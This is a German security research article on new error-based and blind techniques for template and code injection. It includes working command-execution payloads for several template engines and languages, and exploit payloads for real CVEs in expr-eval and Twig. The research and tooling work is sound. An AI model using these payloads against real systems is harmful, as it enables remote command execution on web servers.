Diese Payloads funktionieren für alle getesteten Template-Engines außer **Twig**.
Alte Versionen der Twig-Template-Engine erlauben uns, einen Payload wie diesen zu verwenden:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}}
Es ist unmöglich, den Rückgabecode zu erhalten, daher wird bei Erfolg ein bekannter String am Ende der Ausgabe hinzugefügt, der von der Template-Engine überprüft werden kann. Ein ähnlicher Ansatz funktioniert für neuere Versionen von Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

### Java
Wieder einmal erfordert das Fehlen einer universellen Möglichkeit der Java-Codeauswertung, dass wir verschiedene Payloads für jede der unterstützten Template-Engines erstellen müssen.
Für **Spring Expression Language** habe ich die gleiche Idee wie zuvor verwendet, aber es erforderte einige zusätzliche Modifikationen für Typkonvertierungen: `1/(( … )?1:0)+""`
Der ternäre Operator wird verwendet, um das Ergebnis in `0` oder `1` umzuwandeln, und die Verkettung eines leeren Strings wird verwendet, um Fehler durch falschen Rückgabetyp zu vermeiden.
Für Erkennungs-Payloads habe ich `1` durch `"".getClass().forName('java.lang.Integer').valueOf('1')` ersetzt, was uns bestätigt, dass die Injektion **Java**-Code unterstützt.
Für meine zwei Paare von Erkennungs-Payloads habe ich einfache Integer-Additionen verwendet, wobei ich im zweiten Paar auf Integer-Überlauf geprüft habe.
Die OS-Befehlsausführung wurde überprüft, indem der Rückgabecode der `waitFor()`-Funktion mit Null verglichen wurde:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0
Diese Payloads würden auch für andere ähnliche Expression Languages funktionieren.
Um sicherzustellen, dass wir eine SpEL-Injection haben, können wir sie durch SpEL-spezifische Payloads ersetzen: T(java.lang.Integer).valueOf('1') und T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

Payloads für OGNL-Ausdrücke sind ähnlich wie SpEL-Payloads.
Ich habe dieselben Payload-Paare mit Integer-Additionen sowie dasselbe Orakel verwendet: 1/((…)?1:0)+""
Die OGNL-Syntax kann bestätigt werden, indem 1 durch @java.lang.Integer@valueOf('1') ersetzt wird.
Ähnlich wie bei SpEL können Sie den Rückgabecode von Betriebssystembefehlen mit waitFor() erhalten:```java
@java.lang.Runtime@getRuntime().exec("…").waitFor()==0
Erwähnenswert ist auch, dass **OGNL** eine ungewöhnliche Art der impliziten Typkonvertierung hat.
Neben der Reihenfolge der Operationen beeinflussen auch zuvor berechnete Werte die Konvertierungen.
Während ein Payload wie `1 * (123 + 456) + "abc" + 1 * (123 + 456)` das erwartete Ergebnis `"579abc579"` liefert, beginnt ein ähnlicher Payload `(123 + 456) + "abc" + (123 + 456)` damit, ganze Zahlen in Zeichenketten umzuwandeln und gibt `"579abc123456"` zurück

Der Haupt-Payload für **Freemarker** wurde bereits von Nicolas Verdier [^10] erstellt:```java
${1/((…)?string('1','0')?eval)}
Einfache Payload-Paare wurden zur Erkennung verwendet, da die Template-Engine bereits durch die Syntax des Haupt-Payloads bestätigt ist:
1.0 == 1.0 and 1.0 == 0.12 > 1 and 1 > 2Um die Ergebnisse der OS-Befehlsausführung zu überprüfen, habe ich mich für eine Technik entschieden, die zuvor für Twig verwendet wurde:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

Für die Velocity-Template-Engine können wir `#if`- und `#include`-Direktiven verwenden:
- `#if(false)#include("Y:/A:/true")#end` und `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` und `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`
Um die Ausführung von OS-Befehlen zu überprüfen, könnten wir ein reguläres Payload für gerenderte Injektion modifizieren:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

In Ruby gibt es keine direkte Möglichkeit, Werte von Integer in Boolean umzuwandeln.
Dies führt dazu, dass das Payload etwas komplexer wird: 1/(!!( ... )&&1||0)
Diese Payload-Paare könnten verwendet werden, um Ruby-Injection zu bestätigen:
(2 + 3).to_s == '5' and (2 + 5).to_s == '3''2'.length == 1 and '1'.length == 2Die Ergebnisse der Code-Auswertung könnten mit !!eval( ... ) überprüft werden, während der Erfolg ausgeführter OS-Befehle mit system( … ) überprüft werden könnte, was jedoch nicht für gerenderte Injections verwendet wird, da es nicht die Ausgabe selbst zurückgibt.
In NodeJS erzeugt eine Division durch Null keinen Fehler, daher wird stattdessen auf Attribute von entweder undefined oder dem vorhandenen Element einer Liste zugegriffen: [""][0 + !( … )]["length"]
Diese beiden Paare werden verwendet, um NodeJS als injizierte Sprache zu bestätigen:
typeof(1) + 2 == "number2" und typeof(2) + 1 == "number2"parseInt("5x") == 5 und parseInt("x5") == 5Die Code-Auswertung könnte direkt mit eval() überprüft werden, und der Rückgabecode der ausgeführten OS-Befehle könnte in NodeJS ab Version 5.7 mit diesem Payload überprüft werden:```node
require('child_process').spawnSync( … , options={shell:true}).status===0
### Elixir
**Elixir** erlaubt die Verwendung der Division durch Null als Orakel, erfordert jedoch eine explizite Umwandlung in eine Ganzzahl.
Daher können wir den Payload verwenden: `1/(( … )&&1||0)`
Wir können auf **Elixir**-Syntax mit diesen Payload-Paaren prüfen:
- `String.length("2") == 1` und `String.length("1") == 2`
- `is_boolean(false) == true` und `is_boolean(true) == false`
Die Überprüfung von `eval()`-Codeauswertungsergebnissen und der Vergleich des Rückgabecodes von OS-Befehlen kann direkt mit diesen Payloads erfolgen: `elem(Code.eval_string( … ), 0)` und `elem(System.shell( … ), 1) == 0`
### Generische Erkennung
Alle Programmiersprachen haben ihre eigenen Funktionsnamen, daher ist es unmöglich, eine Funktion zu finden, die für eine generische Erkennung funktioniert.
Trotzdem verwenden fast alle Sprachen genau die gleiche Syntax für grundlegende mathematische Operationen.
Dies erlaubt uns, Syntaxfehler für die generische Erkennung zu nutzen:
- `(3*4/2)` und `3*)2(/4`
- `((7*8)/(2*4))` und `7)(*)8)(2/(*4`
Diese Methode der generischen Erkennung von Code Injection und SSTI könnte automatisiert werden, ohne dass alle Programmiersprachen und Template-Engines separat unterstützt werden müssen, was die schnelle Erkennung von Code Injection und SSTI mittels Black-Box-Ansatz erweitert.

### Payload-Entwicklung
Nach der Erkennung blinder Injection könnten wir nach häufigen Fehlern wie Division durch Null oder Zugriff auf nicht vorhandene Elemente in Listen oder Wörterbüchern suchen.
Außerdem können wir für bekannte Template-Engines `if`-Anweisungen verwenden, um bedingt beliebige Fehler auszulösen.
Für die automatisierte Erkennung könnten Payload-Paare mit eindeutigen Funktionsnamen, Syntaxfunktionen oder impliziten Typumwandlungen erstellt werden.
Um Werte in den gewünschten Typ umzuwandeln, können wir spezifische Konvertierungsfunktionen oder eine für den gewünschten Typ typische Operation verwenden (Addition von 0 für Zahlen, Verkettung mit leerem String für Zeichenketten, Verwendung von logischem Und mit `true` für Boolean usw.). Außerdem könnten Werte mittels doppelter Negation in Boolean und dann mit Bedingungen wie dem Ternäroperator in Ganzzahlen umgewandelt werden.
Um den Erfolg der OS-Befehlsausführung zu überprüfen, können wir den Exit-Code mit Null vergleichen oder prüfen, ob die Ausgabe mit einem von uns bereitgestellten String endet.
## Praktische Anwendung
Alle während dieser Forschung entwickelten Techniken und Payloads wurden im Open-Source-Tool SSTImap für die praktische Anwendung hinzugefügt.
Darüber hinaus habe ich diese Techniken auf meine eigenen Aufgaben angewendet, was mir in den meisten Fällen ein Ergebnis lieferte, das als Wegweiser für diese Forschung diente.
Zu diesen Fällen gehören Beispiele für das Testen realer Webanwendungen sowie Payloads, die die Möglichkeiten der Ausnutzung bekannter Sicherheitslücken erweitern.
### expr-eval (CVE-2025-13204)
Das erste Beispiel für die Anwendung neuer Techniken auf ein reales Ziel war die Code-Injection-Sicherheitslücke in einem populären Bot-Konstruktor für Discord.
Eines der Tags in der Template-Engine erlaubte die Auswertung mathematischer Ausdrücke mit einem anfälligen NodeJS-Modul namens **expr-eval**, das Ergebnis wurde jedoch in eine Ganzzahl umgewandelt, was mich zunächst daran hinderte, auf das Ergebnis des injizierten Codes zuzugreifen.
Ich modifizierte den bekannten Payload, um auf den Funktionskonstruktor zuzugreifen, ohne die Syntax der Template-Engine zu stören, die zum Auslösen der anfälligen Funktionalität verwendet wurde.
Danach wandte ich die Error-Based-Technik an und verwendete `require()`, um einen Fehler auszulösen, der die Ergebnisse der Codeausführung enthielt:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

In diesem Fall ermöglichte mir die Error-Based-Technik, die Ausgabe einer blinden Code-Injection in einer realen Anwendung zu erhalten, die ich damals getestet habe.
Der Payload für die Ausnutzung von Code Injection im expr-eval-Modul für NodeJS wurde als zusätzliches Modul für SSTImap hinzugefügt, das optional installiert werden kann. Dieses Modul enthält Payloads für alle vier von SSTImap unterstützten Code-Injection-Ausnutzungstechniken.
Ein weiteres Beispiel für die praktische Anwendung neuer Techniken ist die Möglichkeit, CVE-2025-1302 ohne die durch den Injektionskontext verursachten Einschränkungen auszunutzen. Frühere Payloads für gerenderte Injection setzten Attribute des Root-Objekts, aber dieser Ansatz verhinderte die Ausnutzung über gerenderte Injection in vielen Injektionskontexten und erforderte das Erraten der anderen.
Dank der Error-Based-Techniken wurde die Ausgabe in allen Kontexten bei ausführlicher Fehlerausgabe zugänglich. Die Verwendung der Boolean Error-Based Blind-Technik ermöglichte eine effektivere Ausnutzung blinder Injection und eröffnete die Möglichkeiten für eine schnelle Datenexfiltration.
Anfällige Versionen der Twig-Template-Engine erlauben eine Sandbox-Escape, indem ein String, der einen PHP-Funktionsnamen enthält, als Parameter an den |sort-Filter übergeben wird.
Dieser Filter konvertiert die Funktionsausgabe in eine Zahl, die die neue Reihenfolge zweier Elemente im Array bestimmt.
In PHP gibt die Funktion system() nur den ersten String der Ausgabe zurück, aber das reicht aus, um die resultierende Zahl und die Reihenfolge der Array-Elemente zu beeinflussen, was zeigt, ob unser OS-Befehl erfolgreich ausgeführt wurde.
Wir können das erste Element mit dem erwarteten Wert vergleichen, um festzustellen, ob die Elemente die Plätze getauscht haben, und verstehen, welche Zahl unser Befehl erzeugt hat.
Als Ergebnis erhalten wir diesen Payload:```php
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %}
{{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
Dieses Mal erweitert Boolean Error-Based Blind die Fähigkeiten des blinden Sandbox-Umgehungs in der **Twig**-Template-Engine, was möglicherweise eine bitweise Extraktion der Ausgabe ermöglicht.
Wir können auch feststellen, dass PHP-Funktionen wie `system()` und `passthru()` die Ergebnisse direkt auf der Seite ausgeben, was es uns ermöglicht, sie mit `ob_start()` abzufangen.
Als zweites Argument akzeptiert `ob_start()` den Namen der Funktion, die mit unserer Ausgabe als Argument aufgerufen wird.
Dies ermöglicht es uns, `call_user_func()` für die fehlerbasierte Ausgabe-Exfiltration zu verwenden.
Um unsere Funktion aufzurufen und einen Fehler auszulösen, müssen wir `ob_end_flush()` ohne Argumente auslösen.
Dazu können wir `call_user_func_array()` mit einem leeren Array verwenden.
Unser endgültiger Payload:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}
Darüber hinaus möchte ich Payloads für die Dust.JS-Template-Engine erwähnen. Error-Based- und Boolean Error-Based-Blind-Techniken mit Payloads, die auf Code-Injection-Payloads für NodeJS basieren, ermöglichen eine effektivere Ausnutzung von blindem SSTI sowie das Erhalten der Ergebnisse, wenn die ausführliche Fehlerausgabe auf der Zielwebsite vorhanden ist.
Danach entschloss ich mich, die Möglichkeit zu untersuchen, Ergebnisse während einer gerenderten Injection zu erhalten, indem ich eine Variable in den Template-Kontext einfüge. Zunächst versuchte ich Prototype Pollution, was jedoch zu Fehlern während der dynamischen Codegenerierung führte, sodass ich das Kontextobjekt finden musste, um die neue Variable zu injizieren. Dazu wandte ich die Error-Based-Technik an und untersuchte die globalen Variablen.
Ich fand eine Variable namens context, die ein Attribut namens global hatte, das die an das Template übergebenen Variablen enthielt.
Das Hinzufügen eines neuen Attributs von context.global ermöglichte es mir, das Ergebnis zu erhalten:```node
{@if cond="context.global.sstimap='test'"}{/if}{sstimap}
Dieses Beispiel zeigt die Möglichkeit, die Error-Based-Technik zu verwenden, um den Injektionskontext zu untersuchen, während die Payloads mit dem Black-Box-Ansatz entwickelt werden.
## Schlussfolgerungen
Im Rahmen dieser Forschung wurden zwei neue Techniken für Code Injection und SSTI entwickelt.
Die Verwendung der **Error-Based**-Technik ermöglicht den Zugriff auf die Ergebnisse von Blind-Injektionen, wenn dem Benutzer ausführliche Fehlermeldungen angezeigt werden.
Die **Boolean Error-Based Blind**-Technik beschleunigt die Ausnutzung von Blind-Injektionen erheblich, da sie Verzögerungen eliminiert, die bei der **Time-Based Blind**-Technik üblich sind.
Für beide neuen Techniken wurden Payloads erstellt, die die Ausnutzung von Code Injection und SSTI in sechs Programmiersprachen ermöglichen.
Darüber hinaus wurden kontextbewusste Payloads zur generischen Erkennung von Code Injection und SSTI eingeführt, die eine automatisierte Erkennung von Blind-Injektionen ermöglichten, ohne alle möglichen Sprachen testen zu müssen, was zuvor als unmöglich galt.
Die demonstrierten Techniken beweisen die Bedeutung der Dokumentation aller bekannten Exploitation-Techniken, selbst für scheinbar offensichtliche Schwachstellen.
Ein ähnlicher Ansatz wurde bei SQL-Injection-Techniken lange Zeit verwendet, aber seit der Entdeckung von SSTI gab es 10 Jahre lang keine Erwähnung der **Error-Based**-Technik und keine dokumentierten Payloads.
Code Injection selbst hat kaum eine Dokumentation, was die Entdeckung neuer grundlegender Techniken verhinderte.
Diese Forschung bewies das Potenzial, selbst für bekannte Schwachstellen neue Techniken zu entdecken.
Für eine effektivere Technikentwicklung sollte ein Wissensrepository erstellt werden, das Techniken und Tricks für Forscher enthält, um Wissen über Payload-Entwicklung und ungewöhnliche Funktionen verschiedener Systeme zu dokumentieren, selbst wenn dieses Wissen keine direkte Verwendung für die Systemausnutzung hat.
Abschließend möchte ich vielversprechende Richtungen für weitere Forschung erwähnen.
Eine große Verbesserung für die **Boolean Error-Based Blind**- und **Time-Based Blind**-Techniken wären Payloads zur bitweisen Exfiltration der Ausgabe, ähnlich den entsprechenden Techniken für SQL-Injection.
Darüber hinaus würde die Erforschung der Möglichkeiten von **OAST**-Tests und der Anwendung der **Time-Based Blind**-Technik unter Verwendung der Funktionen von Template-Engines die Abhängigkeit dieser Techniken vom Betriebssystem und den verfügbaren Binärdateien auf dem Zielserver beseitigen.
## Referenzen
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9